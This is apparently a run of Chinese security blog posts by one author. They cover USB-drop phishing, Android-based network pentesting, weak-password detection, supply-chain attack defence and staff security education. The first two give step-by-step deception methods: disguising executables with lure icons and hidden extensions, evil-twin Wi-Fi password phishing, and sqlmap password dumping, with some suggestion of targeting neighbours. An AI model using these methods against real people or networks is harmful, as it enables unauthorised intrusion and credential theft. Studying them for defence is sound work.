*本文原创作者:ChuanFile,本文属于FreeBuf原创奖励计划,未经许可禁止转载

U盘钓鱼的实现和防范

最近在研究apt入侵,发现u盘钓鱼确实是一个简单但成功率极高的入侵手法。

入侵者在u盘中植入病毒,利用拾到者想偷窥、想知道使用人后归还等好奇心理,诱导拾到者插入并打开u盘中的文件,进而触发病毒,可以说是APT入侵利器。当然也就成为内网安全防御的一大挑战。下面我们一起看看u盘钓鱼的实现方式,分析下可行的检测防御方案。

U盘钓鱼的实现

阶段一 诱导用户插入u盘

这是第一步,也是最关键的一步,如果拾到者不将u盘插入pc终端,那就谈不上下一步的触发了。这里的关键是要分析做插入动作的的人(被入侵人)的身份。

前台人员:多是从拾到者上缴获取的u盘,想尽快找到失主归还,这里可以在u盘上贴上,“简历u盘”,“照片u盘”等字样;

普通员工:多是想偷窥别人的隐私,那就要从人性的本质出发了,在u盘上贴上“种子盘”、”我的私房照”等字样;

总之,诱导人性,最大程度提高插入率。让他们对各类安全教育宣传视而不见,也就达到我们的目的了。

阶段二 诱导用户主动运动病毒

这里就不说主动运行的病毒了,autorun已被玩烂,试问哪个公司的安全团队还没解决这个问题?那可以拖出去毙了!

这里只说让用户乖乖的运行病毒,这里的套路和第一步一样,无外乎就是根据不同人的需要制定不同的方案。下面我们仅从技术手段看下怎么让用户运行病毒。

先准备下:

1.准备病毒

我们先制作一个假的病毒,笔者喜欢用pyhon写简单的功能,然后转成exe,就行。随便写个吓唬人的messagebox吧,如下:

1.png

然后转换成exe,如下:

2.png

90.png

2.准备图标

这个就不细说了,系统图标,网上找得到一堆,随便选一个吧:

3.png

诱惑类图标,美女之类的,我们自己做下即可(这里避免三俗,接下里的演示就不用这类图标了):

4.png

这样我们的前期准备就ok了。下面我们看怎么诱导用户打开。

2.诱导用户打开运行病毒

方法1 诱惑图标的可执行文件

(1)直接修改可执行文件图标,诱导用户打开

细心的同学肯定看到了,pyinstall的默认图标还是挺陌生的,这种情况下一般的用户都会注意到,而且用户看到exe的后缀也会提高警惕,所有,直接让用户运行的最有利条件是:

a.图标诱导性或吸引力

b.exe后缀隐藏(默认隐藏,或看不到)

不过这里这里我们仅探讨修改图标的方法,隐藏exe就盼着用户默认隐藏后缀名或眼神不好吧,哈哈。

方法如下:

一种是在py转成exe的时候就指定图标(当然如果c++之类的编译的时候直接指定图标即可)

5.png

6.png

另一种是用图标修改工具,如Restorator、ResourceHacker。先删除资源,然后添加资源即可:

7.jpeg8.jpeg 9.png

第二种,自解压运行可执行文件,修改图标。

选择自解压:

10.png

配置:

11..jpeg12.png 13.png

效果:

14.png

最后把文件名改一下,多加空格,隐藏后缀,效果更好:

15.png

方法2 诱惑的快捷方式

16.png17.png

快捷方式指向病毒目录中的可执行文件,就可以解决图标问题和显示后缀exe的问题了。

以上就是两种笔者常用的实现方式,方法虽然简单,但是很多apt团队也是用类似方案的,效果确实不错。有兴趣的同学,欢迎提出更多方案。

最后,可能大家注意到了,这里没有说免杀。毕竟这已经是大家的基本素养了,何况,这种诱惑人性的东东很多同学都是看到杀软报毒都会主动加白的!可笑的案例比比皆是。所以很多时候连免杀都不做也没问题。

说完了,各种实现方案,发挥思路,看看怎么防御和检测

U盘钓鱼的防御和检测

答案可能显而易见了,那就是加强用户教育,这个落地的苦就不说了,搞安全同学都知道,让别人听你的,那是最难的。所以笔者提出一个变态的思路。

不允许u盘内程序运行,但可以拷贝到本地运行。为实现这个目标,看看怎么技术实现。

这个比较简单,利用组策略就行了:

18.png19.png

基本就可以控制病毒程序被执行了。

当然,除了可执行文件外,还有各类脚本,如vbs、js。这类脚本都是调用系统的解析程序,如wscrip等进行解析,而解析程序在系统盘并不在u盘内,所以我们的域策略控制可执行的这种方式无法拦截。但这类方式正因为是调用系统程序进行解析,所以它的图标是不能更改,所以迷惑性也不高。

20.png

如果必须拦截,那按照笔者思路,这里需要判定u盘插入,然后自动配置域策略,禁止对应u盘盘符内的vbs,js等后缀程序的执行就可以阻止了。这就涉及到dlp了,就不展开说了。

综上,简要的说了下u盘钓鱼的实现和防御,当然只要你思路足够开阔,还有很多方式可以更好的诱导用户,或者绕过防御。入侵和对抗本来就是在不断演进,这也是安全技术最大的乐趣所在。如有疑问,欢迎探讨。

*本文原创作者:ChuanFile,本文属于FreeBuf原创奖励计划,未经许可禁止转载

*本文作者:ChuanFile,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

前言

大家熟知的渗透测试是笔记本上神秘滚动的linux命令!一台kali笔记本走天下,是渗透测试的基本素养。但笔记本还是太大,很多地方你用笔记本做渗透测试还是太招摇,而且你更多的时候是手痒,想搞一搞周围的设备,你又没带笔记本怎么办?那你带了什么?出门三件套:钱包、手机、钥匙!很明显答案是手机!

众所周时手机版的kali就是Kali NetHunter,但这神器一是要刷机,二是适配的手机非常少,三是即使刷成功了,那你手机上原来的各种软件就不那么好用了。所以真正把手机系统折腾成KaliNetHunter的并不多。那有没有办法,让我们既可以装X,又不用刷机呢。当然有!下面我们就来看看不同场景下我们的手机(安卓)可以做什么?

注意:以下软件大量来自谷歌市场,问题自行解决!

一、查找附近网络

算是个开始吧,用手机直接打开wifi扫描即可,此外还有个神器wiglewifi:

记录全球的wifi,用户可选择把自己手机扫描到的wifi信号数据上传,共享给其他人,打开可看到你的gps定位,然后显示你周围的wifi设备。包括ssid、加密类型等。

1、接入网络

接入网络是第一步,只有与其他设备联通,才可以对其进行渗透攻击。这里有三种常规思路:

1)直接问密码或找墙上贴着的密码,这不用说了吧。不过这个也是公共场所最常见的方式。

2)各类wifi密码共享软件,如神器wifi万能钥匙。要想测试邻居的wifi,这个接入几率更大些!

c)伪造wifi,骗取密码

这个是利用手机会自动连接同名ssid的wifi的特点,我们用手机构建一个同名的假冒wifi,空密码(华为、小米等都无法设置空密码,这里只有用软件实现),操作起来稍显复杂,步骤如下:

1)构建同名的空密码假冒wifi,如上解释,不能用系统自带的功能,需要工具,如fluxion 和wifiphisher(见下文)。单独模拟ap的软件笔者没找到,但估计没root的手机找到也因为权限没法用。

2)构造好页面,以备用户连接上来后,骗取输入密码。还是这两个神器:fluxion 和wifiphisher(见下文)。自己弄个http服务,写个页面也可以。力求可以骗到人即可。

3)dos掉真的同名wifi!

虽然写出这个步骤,但是笔者经过尝试确定,未root的手机因无法触碰内核模块,无法转换wifi模式,所以无法完成,不过大家可以看看我的验证失败过程:

1)在未root手机安装linxu系统,请出神器:GNURoot Debin(谷歌市场搜索安装)

2)在GNURoot Debin中安装aircrack-ng,参考https://github.com/aircrack-ng/aircrack-ng/tree/55bceefd5cd6b39325d40688756c5d18e0289276 ,安装完依赖包后,autoreconf -i、./configure、make、makeinstall进行安装。根据启动提示,再次使用gpkg安装几个依赖包即可。

3)安装成功后,但最终启动aircrack-ng,报错。

启动aircrack-ng,报错

既然不行,我们看看是否有其他方案,找到两个同原理的集成工具wifiphisher ,从github下载:

git clone https://github.com/sophron/wifiphisher.git

参考指引安装,运行报错,看来还是权限问题:

权限问题

再换个fluxion ,从github下载:https://github.com/FluxionNetwork/fluxion.git参考指引安装,最后运行依然报错,最终放弃。

综上,基本确定,未root手机,因为权限问题,无法转换wifi工作模式进而dos掉对方的真实AP,但是我们可以:

到真实ap信号不好的地方,等待其他设备连接你 ,然后弹出欺骗页骗取密码,这也是黑客攻击最常用的手段,尤其是在企业环境,多个同名ap切换,最容易产生信号中断或不好的情况,给黑客可利用的机会。毕竟专业攻击中,dos掉真实的ap动静还是有点大。

其他,诸如暴力破解、漏洞分析等手机搞起来就别想了,复杂度明显不适合用手机。不过你要是社工人家,也能获取密码,这个就看个人能力了。

接入网络后,您就可以进行下一步了,基本信息侦查。

二、基本信息侦查

进入了网络,那么网络内接入设备的信息,尤其是各个节点ip、设备类型、设备mac等。那我就要用到各类网络查看工具了,如:

fing:可获取网络上连接到各种设备,包括ip、mac、厂商、型号等;

net analyzer:获取本机网络基本信息,包括wifi的ip、网关、dns服务器、ssid、子网掩码、信道等等;

landroid:除了可以获取本机网络基本信息外,还可以获得本机的公网ip,此外还有ping、traceroute、whois、netstat、arp cache等一些实用小工具。

三、实施渗透

一般到这一步,我们先想到的是什么呢?对!搞路由器,如果路由器都搞下来了,那就可以控制全局了,对于这种简单的路由器(这里不说各种企业级设备),无外乎就两大弱点:弱密码和常见漏洞。

那就搞起,搞之前,我们要清楚,我们扫描、探测、破解这些都很难找到一个单独的app一站式搞定,我们需要一个命令行环境,所以除了前面笔者说的GNURoot Debin外,这里还需要介绍一个笔者最经常用的shell环境,那就是Termux!!!安装不必说了,自行谷歌搜索安装。我们来看看怎么用。

1、专搞路由器

专用路由器渗透框架,使用git下载https://github.com/threat9/routersploit,根据指引安装各种Required,然后就可以使用了。

通过net analyzer获取网关为192.168.67.1。

启动routersploit:

启动routersploit

启动routersploit

启动自动扫描模块,进行扫描:

启动自动扫描模块

发现可利用漏洞,但无弱密码:

发现可利用漏洞

漏洞利用:

漏洞利用

漏洞利用

接下来就是看有哪些payload可以用了,很悲剧,我这次测试的咖啡厅(测试前已得到允许)木有可用payloads,所以就没继续下去。基本确定路由器没啥明显可用漏洞。

木有可用payloads

2、搞网络中的各种终端和服务

除了搞路由器我们还可以搞什么呢?当然是各个接入设备了。渗透测试,我们常用什么?nmap、sqlmap、msf…… 那我们就逐个介绍怎么在termux中安装和使用。

nmap:重要是探测存活、端口等等。直接安装,使用即可:

nmap

sqlmap:主要用来搞手机所在网络的内网站点,脱裤用户密码。先下载:

sqlmap

启动,骚(扫)起来!!!

扫起来

msf:先下载wget:

msf

下载脚本:

下载脚本

执行脚本,这个过程很慢,耐心就会好的:

执行脚本

进入console:

进入console

正常进入,模块都加载ok:

正常进入

接下来就是ms08-67、ms17-010、….开始折腾吧,手机漏洞笔者没深入研究,大神们可以自己搞下。当然还有其他各种软件,大家根据自己的喜好自行安装吧。

无线网络说到这里吧,其他还有些如:

1、蓝牙和低功耗蓝牙,如蓝牙适配器(电脑、各种设备)、蓝牙手表,耳机、门锁等等。简单说下:

低功耗蓝牙一般使用图形化的nRF Connect就可以扫描(命令行可以用BtleJack),进而获取设备信息&向设备发送指令,蓝牙灯泡、门锁、门铃等都已可以被控制,但需要抓包研究透指令字符。

蓝牙,可以使用调试工具hcitool,不过笔者一直没成功过,似乎是因为Android4.2 以后不再采用BlueZ取而代之的是BlueDroid, 蓝牙调试命令hcitool就不能用了,也就没法搞了!

2、nfc

随着各种卡的普及,nfc是技术也大行其道,工卡、饭卡、公交卡、银行卡。通过手机nfc获取卡片信息,然后root后修改nfc配置文件,进而用手机nfc模拟卡片。小米手机的模拟工卡其实就是这个原理,但小米手机不用root,小米自己给自己的app开放了权限。

3、红外

但是手机红外只能发射,不能接收,所以邪恶的使用方式,一般也就是下个万能红外遥控器,控制下对方的电视、空调等等家电,开玩笑的使用方式,算不上是渗透。

综上,就是笔者使用自己的手机做的各种尝试,鉴于权限问题(主要是没root),所以有成功也有失败,不过这些工具在root权限下的linux都是可以正常运作的,有兴趣的同学可以多尝试下。

最后附下笔者的手机屏幕:

手机屏幕

*本文作者:ChuanFile,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

*本文原创作者:ChuanFile,本文属FreeBuf原创奖励计划,未经许可禁止转载

弱密码一直是广大安全人员的痛。web管理页面、公网服务连接密码(如邮件、sql等)、内网终端、服务器登录等都是弱密码的重灾区。一旦被人利用成功,损失巨大。

不过弱密码其实是一个双面词汇

入侵角度:黑客利用弱密码去爆破系统,实现登录终端或管理系统等

防御角度:安全人员防止用户设置弱密码,阻止黑客利用弱密码获取系统权限

但回想下弱密码防御思路,明显会发现防御和入侵的不对等性。

 防御角度,传统意义的弱密码是指密码单一或过于短,例如:123456,admin,123456789,这些容易被爆破,或容易被猜测到的密码。且可以用简单的策略屏蔽此类弱密码。

Clipboard Image.png

Clipboard Image.png

但黑客实际爆破的时候用这个密码库成功率很低,一般还需要结合泄漏的各种“裤子”,其实也就是用户用过历史密码,此外为进一步提高破解率。还需要收集对方的社工信息,如

企业信息:

企业英文名、企业中文名拼音、企业域名、简写/缩写、企业的各种品牌名、注册日期、注册地等等

个人信息:见下图

Clipboard Image.png 

所以广义看弱密码库=黑客密码库=(简单密码+历史密码+社工密码)

站在防御的角度,我们的思路必须和黑客对其(尽量对其)才能形成有效的防御措施,和黑客统一维度才能避免降维打击,所以但防御角度应该关注的弱密码库就是:

简单密码+历史密码+社工密码。

有了这个共识,接下来我们聊聊企业安全的弱密码安全实践。其实就是以此为基础阻止用户设置弱密码并发现黑客的弱密码爆破行为。

弱密码库的构建

根绝我们的分析,我们已经知道了防御弱密码库的构建思路,防御弱密码库= 1、简单密码 + 2、历史密码 +3、社工密码,下面看下具体怎么构建。

1、简单密码,这个可以参考图2微软的建议,反向构造即可,毕竟微软有时还是比较靠谱的。此外还要加一些常规套路,如admin、qwerty、asdfg之类的。

2、历史密码,其实就是个人的习惯罢了,这个这里有一些网上可以下到的裤子,如下,虽然都是老裤子,但有一定参考价值。

Clipboard Image.png 

3、社工密码,这个对于企业来说非常简单,毕竟入职的时候hr要求填写那么多信息,可以参考图3进行构建。但有一点需要注意,这个构建是by人的,即A的个人信息构建出A的弱密码,而不是B的。信息间没必要重叠,否则会增加密码库大小,且意义不大。

做了以上3点,我们就已经具备了一个强大的弱密码库,少则几百万,多则几个亿。接下来就是看怎么用这份宝贵的数据了。

弱密码的检测

一般来说,企业检测弱密码的方法和黑客入侵没有本质区别,都是尝试不同密码,直至成功。但这里有几个问题:

1、账号密码的验证次数是有限制的,我们的弱密码库有几个亿,那根本无法在有生之年验证完所有密码

2、多数系统都有锁定机制,当验证次数过去会锁定账号,影响用户,这也是安全的领导无法接受的

所以我们要换个思路。我们不做爆破,我们做对比!这样就可以解决如上问题了。

密码都是存储在验证服务器的,无论是混淆还是加密,我们只需拿我们的弱密码库和密码存储文件对其即可。不过密码一般都不是明文存储的,MD5加盐之类的是比较常规的存储方法。想解决这个问题,我们就要利用我们防御者的优势了,毕竟密码加密算法我们知道嘛,我们只需要将弱密码库按照同样方法转换,然后拿转换后的弱密码库进行对比即可。发现存储密码的文件存在同样的字符,则可确定对应用户设置了弱密码。高效的检测了全量的弱密码,而且如果用户设置了非弱密码库的密码我们也无法获知用户的明文密码(前提是单向加密),捎带解决了隐私问题。

弱密码爆破攻击发现

无论我们怎么检测,都无法阻止黑客进行弱密码爆破行为。传统的方案是给用户验证次数设定阈值,超过阈值则报警。但用户也会输错密码,且很多系统很残,经常将同一个错误密码验证多次,如AD系统,这就产生很多误报。为更精准的发现爆破行为,我们还是要继续利用我们防御者的优势,我们检测用户发起的密码是否在我们的弱密码库,如在弱密码库中的密码>N,则可认定存在爆破行为。这样可以精准发现爆破行为又可以规避系bug。

除了单一账户&多个弱密码的爆破方式,还有单一弱密码&多个账户的爆破形式,这种情况一般都是黑客认定一定存在一个这样的密码(黑客其他方式获得或就是固执的认为有),这里会出现两种情况:

1、单一密码在弱密码表中,这个我们需要在我们原有的模型上加上账户数据,将账户数*弱密码在弱密码表的次数=阈值>M即可

2、单一密码不在弱密码表中,这个就需要独立分析了,统计使用同一密码的使用账户数>M即可

综上,我们说了弱密码库的思路,也讨论了防御角度弱密码库的构建、弱密码的检测、弱密码攻击的发现。虽然说了很多,但其实讲的都比较概括,具体落地过程中必定会遇到各种问题,如windows的NTLM hash的密码存储方式等。

有兴趣的同学,欢迎私信一起探讨。

*本文原创作者:ChuanFile,本文属FreeBuf原创奖励计划,未经许可禁止转载

随着软件供应链攻击的越来越多,相信大家已经对这种攻击方式有所了解了,修改软件下载源头的软件代码,植入恶意,诱导下载使用是这种攻击的主要特征。Xshell 就是典型的供应链攻击,不过 Xshell 是其官网网站的程序包被放入修改后的恶意 dll 导致,因为是官方下载源所以范围更广。但扩展看,其实各下载网站、网盘、甚至 im 群工具共享等一切提供下载或更新的互联网上的存储位置,都可以作为供应链劫持的原始受害者和攻击方。Xcode 就是利用用户讨厌苹果官网下载 Xcode 缓慢的情绪,诱导大家从百度网盘中下载修改版的 Xcode,最终导致逐步扩散开来。

如果全民软件qq、微信出现软件供应链攻击。。。后果,不敢想!

那怎么避免自己的内网终端成为软件供应链攻击的受害者呢?分析软件供应链攻击者的思路,他的目的是诱导下载运行,通过内置的窃密代码窃取并外传回敏感数据,当然也有搞僵尸的。站在这个目的的基础上,我们来思考下。其实解决方向很简单,但是实现细节需要我们进一步抉择。

一、从根源出发,只用自己的

建立自研软件库,全部工具软件,甚至娱乐软件均自行实现,可见这种方法成本高的可怕,估计只有少数大鳄企业可以,如google。

浅谈软件供应链攻击与内网防御

分析员工的软件使用习惯,从360的全民应用的软件分类中总结下:

浅谈软件供应链攻击与内网防御

1、可用浏览器替代的:

1)各类视频播放器,音频播放器

2)游戏类、手游电脑版。ps:上班玩什么游戏!

3)其他,如:下载工具、图形图像、阅读翻译、网络应用(云盘等)、主题壁纸、教育学习

2、可用浏览器云服务替代的:

1)办公软件,office系列、wps系列等,可用浏览器访问的云办公替代,如google的云办公、微软的office系列

2)输入法,qq拼音输入法、google输入法、搜狗输入法等,可用云输入法代替,例如谷歌云输入法

3、没必要在公司使用,建议禁止的

1)系统工具,一般都是些优化系统类的,员工使用必要性不大;

2)手机数码,一般为手机管理等软件,且手机会自动给电脑安装软件,所以不建议员工在公司使用;

3)股票网银,这类软件比较特殊,自行开发涉及到隐私,可禁止员工在公司使用或用浏览器代替;

4、必须自我开发的:

1)浏览器程序,这个肯定是必须的; 

2)刻录工具可提供专门的it服务,压缩必须自我开发实现;

3)编程开发,如vs、ecslipes等,可用开源的审计后修改使用,当然也可以自己开发

5、 需要审计供应商的:

1)行业软件,这类就是大型的专业软件了,可根据工作需要自行开发,或以担保方式购买

综上,浏览器程序、办公软件、输入法类、压缩、编程开发类等是必须自研开发的,显而易见google都实现了,如果你够牛,你也可以参考,虽然成本巨大,但是彻底摆脱了软件供应链攻击。

二、建立安全软件库,进行安全审计、及时更新

建立自己的安全软件库,软件库中的软件均经过安全人员审计,并及时推动更新,保证软件更新性。

浅谈软件供应链攻击与内网防御

这是常规的思路,也就是把从互联网下载的软件审查一遍,确定安全性后放入公司内部的软件库。因为绝大部分都是闭源软件,所以基本思路如下:

1、杀毒软件检测作为第一层

1)多杀软检测环境搭建。一般仅包括卡巴斯基、赛门铁克、微软等几大主流厂商,小厂经常跟风报毒、过度依赖启发式等问题,误报大,不建议作为衡量标准

2)多引擎,如virustotal,这里需要上传全部需要检测的文件,毕竟 md5检测存在很多不存在md5的情况,写批量上传的脚本工具,请参考 https://www.virustotal.com/en/documentation/public-api/ ,当然也可以用virustotal 提供的工具VirusTotal Windows Uploader ,右键全选多个文件后进行手工上传,如:

浅谈软件供应链攻击与内网防御

浅谈软件供应链攻击与内网防御

上传后浏览器会自动打开对应数量的结果页面,且会以sha256标识

        浅谈软件供应链攻击与内网防御

b、主机hips监控第二层

建议使用Malware Defender,可到http://labs.360.cn/下载,通过设置监控规则,可记录每个程序的文件、注册表、网络等全部行为,如下

浅谈软件供应链攻击与内网防御浅谈软件供应链攻击与内网防御浅谈软件供应链攻击与内网防御

然后分析确认是否存在黑ioc。

c、专家分析作为第三层

这个取决于分析能力,一般利用虚拟机运行软件,然后分析主机日志、网络日志、进程、服务、启动项等等ioc。方法与安全监控没有本质却别,只是日志更多。

d、大数据分析作为最后一层—第四层

当前热的一塌糊涂。提取数据、定义特征,使用聚类等分析方法确定正常软件和非正常软件。但据了解安全监测应用大数据分析还不是很成熟,但也算是一个方案吧。

但虽然我们做了这么多,但是这里有几个问题无法避免

a、审查无法排除100%的问题,这涉及到安全人员的技术水平和业内攻击的手段更新情况,尤其是0day的漏洞根本是无法检测出。所以无法做到较高的安全性。

b、软件更新频繁,需要大量人力复杂,运营成本高。

c、 存储环境也需很完备,尤其是批量拉取更新等,机器性能重要

三、开放下载

开放下载的同时要建立网络封闭的软件运行环境,禁止任何未授权的软件外联行为,解决黑客窃取敏感数据的关键点。

浅谈软件供应链攻击与内网防御

这个思路比较独特,黑客供应链攻击的目的是控制终端,无论是窃取敏感数据还是控制机器都需要软件外联,那其实除了更新我们不需要让软件做任何外联行为,甚至我可以不让它自动更新,仅允许去官网主动下载。

那么问题的难点就演变成,区分进程和网络行为的对应关系。这个可以开发程序实现,如果懒得写代码也可以用一些工具(如cports等)记录日志获得,也可用主机防火墙日志,这个方法还是挺多,大家任意发挥即可。联网控制具体做法如下:

1、分析软件外联,不区分是否恶意

想分析出每个外联请求的原因是难度系数极高的事情,加密网络协议、加密内容、混淆内容、私有协议包装等让分析人员无法判定外联发出的请求包内容,无法判定外联目的,如下:没人能肯定软件为什么外联,也许官方说我在上报状态,我在更新,我在传输报错数据,那你就真的可以相信吗?google的chrome浏览器最近不是爆出因为bug上传个人下载文件元数据的事情嘛。

浅谈软件供应链攻击与内网防御浅谈软件供应链攻击与内网防御

这里可以像作者一样用工具监控程序外联进行分析,当然也可以通过网络层日志+主机日志等分析程序外联共性等。

2、控制外联ip,屏蔽一切外联

可以用windows防火墙,也可以用一些第三方的防火墙,笔者直接用火绒屏蔽了联网。当然这个屏蔽不是很全面,例如我用powershell的wget操作就没有拦截,火绒的内置策略我没深入研究。还是建议用专业的防火墙,似乎毛豆个人防火墙不错,只是配置似乎很复杂。

此外,实现公司级别网络策略控制还需要考虑很多

1)统一控制是必要的

让员工自行屏蔽外联是不可能的,比较靠谱的办法是域策略、出口防火墙等,在此不再细说,相信大家这方面都了解很多了。

2)软件模块更新或组件下载

例如eclipse这类工具,需要下载很多模块,一般都是要联网下载的,用户手工触发或自动更新。这里很难排除下载的模块是否被更改,但下载地址可配置(区分配置地址和分析出真实下载地址,建立员工申请开通流程)。

浅谈软件供应链攻击与内网防御

我们仅开通此部分下载源的外联,其他不开放。下载后的模块和宿主程序作为一体对待,禁止其他外联(内网通信不禁止,解决联调、联合开发等问题)。

3)用户主动外联

如github同步等问题,如不允许外联则会造成无法同步等问题。好在地址是可分析后提前开通的。

虽然做了这么多,但是这里有几个问题无法避免或者说需要进一步优化

a、放开互联网下载,那么浏览器下载、迅雷下载、bit下载等工具的外联是完全放开的,如果这些工具被利用,如供应链攻击、注入、漏洞等,这里就需要结合上面提到的软件审计定义标准软件,还要使用Emet等工具防止注入和漏洞利用。当然0day的问题没法完全避免,但因为阻止了其他程序外联,那么黑客想成功的条件就变成:当前版本下载工具的0day+利用当前下载工具作恶,但其实一般都是0day后下载大马,独立运作,如果不独立运作,作恶大马因为体量大,注入到当前版本下载工具无法利用0day漏洞注入,常规注入也会被Emet发现。这个安全风险就大大降低了。

b、这种方式容易造成员工抵触,例如很多工具无法使用,如网银、游戏等工具,这就需要对外联地址进行大范围分析,不过外联地址都很固定,分析量不会巨大,但因为软件版本更新、新增热门游戏等问题,我们需要多关注软件连通性中断的问题,实时监控,联动响应分析开通,最大限度降低员工抵触。

综上,对抗软件供应链攻击还是很复杂的,每一种方法都有其优缺点,从根本解决成本太大,正所谓没有绝对的安全,只有不断的对抗!

最后,虽然讲了很多方面,但因为个人的能力有限,无法全面覆盖,欢迎各位大牛私信探讨,谢谢!!!

*本文作者:ChuanFile,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

*本文作者:ChuanFile,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

解释:

开放型公司:强调员工感受、体验,给员工更多自由,激发员工热情和个体创造力,从而提高生产力。如google、苹果等。

军事化公司:重管理,让员工在严格规范内工作,强调统一,从而加强生产力,如华为等。

最近各种泄露事件频发,Facebook事件弄得沸沸扬扬,作为一个搞安全的IT打工仔,想着怎么也应该借此机会教育下用户呀,尽量提高员工安全意识,其实也就是降低自己的工作量嘛。于是拿起厚厚的cissp的教材,回顾 CISSP的CBK包含的八大知识域的相关知识,安全与风险管理:建立并管理信息安全教育、意识和培训。可书本的东西都太生涩了,过于概括,那到底这个怎么才能最有效的落地呢?

    浅谈企业安全之安全教育实践g

大神一定说,做安全要自上而下,做安全教育也是一样,上层驱动才可以落地。不过相信搞安全尤其是内网安全的同学都知道,有几个公司能自上呀,首席安全官都木有,但是出事了,一定是安全部门背锅这是肯定的。为此我们只能苦逼自下而上,可我们不甘心,我们要用自下而上来实现自上而下,可能吗?来分析下。

员工的心理&解决思路

1、安全和我没关系,工作太忙!没空学习安全知识,更别说落实到工作了

这是最常见的员工思想,毕竟大家的本职工作都不轻松,这就需要安全从业人员找出最有效的方案来激励员工学习安全知识,应用安全知识,方案如下:

a)    和考核挂钩,和钱挂钩

这是最简单有效也是最暴力的办法,安全检查人员时刻巡检,员工胆战心惊,最终形成严重对立面,这种环境员工的工作热情和效率大打折扣。

结论:开放型公司不可取,军事化公司很多这么搞,怕怕!

b)   捅他,让他领导知道,让他领导收拾他,和脸面挂钩

常规思路,有问题找家长的思路,多少孩子的噩梦。相信也是员工的噩梦。怕就能教育好?这个显然没必然关系,而容易激化上下级矛,对上下级关系不是好事。

结论:开放型公司不可取,当然军事化公司还是随便搞

c)    定期个人安全风险展现,和自尊心挂钩

定期给员工个人发送个人近期的安全风险排名,给出安全分值,例如a违规行为-5分、b违规行为-10分,并给出全公司排名,排名靠前颁发荣誉和奖励、提升颁发荣誉和奖励、落后也颁发“落后荣誉”。

这里仅公布名次和全公司百分比占比,在不伤害员工自尊心的前提下,充分调用员工的自尊心。

结论:开放型公司可取,军事化公司也适用

d)   个人安全知识竞赛,利用小奖品,并和攀比心挂钩

利用公司内部各种交流系统,如bbs等,组织线上或线下安全知识竞猜,通过奖励鼓励更多人参与,提升整体员工安全知识水平。并利用奖励分级鼓励学习更多安全知识。可全员公布结果,给出排名,激励员工攀比多学习。

结论:开放型公司可取,军事化公司也适用

e)    团体安全知识竞赛,和集体荣誉感挂钩

安全知识竞猜以集体形式设计,普通员工权重1,底层领导5,中层领导10,高层领导50。全员公布集体评比结果,下级push上级,反向驱动领导层参与学习,或上级为了集体荣誉积极主动参与,从而达到提高领导层安全意识,推进自上而下的安全建设的目的。

结论:开放型公司可取,军事化公司也适用

2、安全很重要,但是怎么了解更多?

存在这种思想的员工并不多,很值得安全人员珍惜,他们有强烈的学习愿望,并且看到周围不安全的事情会自觉成为教导员,是安全教育的一支生力军,所以我们需要提供方案给与更多激励和便利。

a)    提供安全知识学习机会,鼓励充当安全宣传员,和个人荣誉挂钩

这部分员工已经有很好的态度了,但是需要学习更多安全知识来了解安全风险并最终充当安全教育的先锋。内部架设学习平台,鼓励学习并积分,定期积分奖励,并设立安全课程,鼓励其参与授课。提升员工的自我荣誉感和价值感。

结论:开放型公司可取,军事化公司也适用

领导的心理&解决思路

1、安全重要吗?以完成业务为中心,完全不关心安全问题

领导一般都需要带领整个集体完成项目,结果导向,压力较大,我们需要从多角度“进攻”才能达到我们的目的,方案如下:

a)     重点攻关,业内案例轰炸,提升其危机意识

填塞式教育,定期或基于事件推送业内风险,案例形式说明影响,并延伸解释公司业务面临同样危险的损失,尤其需要强调领导个人后果,如被迫离职等,让其触目惊心。

让领导对安全有敬畏之心,才可以提升其安全意识,最终提升其将安全落实到业务的决心。

结论:开放型公司和军事化公司都行。

b)    展示下属安全风险、各类安全竞赛下属或下属组织排名,激发其好胜心

对领导以不记名方式公布各类安全相关风险或比赛的下属排名,如有必要公布其他团队的成绩,激发领导的好胜心,迫使其自上而下传递重视安全的态度。

领导层之间会定期沟通了,比赛结果极可能成为他们的谈资,那落后就会被奚落,丢面子是领导层最不希望的结果。

结论:开放型公司和军事化公司都行。

c)     安全演习,模拟窃取敏感数据,让领导意识到风险的迫切,激发其对安全的敬畏之心

定期渗透测试,针对系统、软件攻击,在可控的情况下窃取敏感数据,并将演习结果汇报给领导,让其意识到安全风险无处不在,提升其对安全建设工作的敬畏之心。

结论:开放型公司和军事化公司都行,但相对来说军事化公司估计会把演习结果作为惩处依据。

d)    安全人员上门宣讲安全风险,给领导做安全教育

安全人员和领导约时间,定期汇报安全风险,激发老板重视度。但此方法只能靠不断重复来让领导闹心,就像小时候妈妈天天教育你写字要姿势正确,但最终重视会重视?你觉得呢?

结论:都可以试一试,万一有用呢

2、安全重要,我怎么提升?我怎么体现我的成果?

这类领导是安全人员个救星,我们需要提供360度的贴心服务,毕竟服务好一个人,可以让一个团队的安全问题都解决!

a)     展示管理范围整体安全风险,给出解决方案,给出风险下降趋势

此类领导安全意识非常高,自我需要把控管理范围内的整体安全,所以需要安全部门整体呈现,并给出专业建议。同时也可对下属整体的安全提升情况进行了解,便于考核时的自我心里印象评估。同时如提升明显,还可以作为其业绩向上层领导汇报展示,一举多得。

结论:开放型公司和军事化公司都行

综上,为了实现我们安全教育的目的:全员动起来,尤其让领导动起来自上自而下的提高员工安全意识。

我们的套路总结如下:

1、个人安全风险展示激发员工自尊

2、个人或集体安全知识竞赛,激发攀比心和集体荣誉感

3、对领导进行案例轰炸,下属安全积分排名展示,激发其好胜心

4、对领导汇报安全演习窃取成果,赤裸裸的展示风险,激发其对安全的敬畏

5、对领导提供整体安全趋势展示和修复建议,安全部门坐享其成

此外,再对安全教育做法的各种花式落地的可行方案探讨下:

1、 安全教育的宣传文章怎么让员工愿意看呢?

内容逗比肯定是必须的,但看文章每月次数排名、时间排名、有价值评论等都可以作为奖励机制,例如到达一定值可抽奖就是不错的思路。小小的奖励可以激发无限热情,从互联网的各种奖励活动动辄获取几十万的用户就能理解了。

2、怎么实现安全竞赛的目的:让大家学习到更多的安全知识?

竞赛的目的其实是让员工学习,不是让员工拼名次。那开卷答应该是必要的,让员工多查资料或给他们提前设计好学习资料才是更好的办法。当然可以尝试设计一些安全专用名字,例如水坑攻击、apt攻击等,让他们通过查询了解基本概念,这样也就提升了安全意识。

3、安全演习能否提升员工的安全意识?

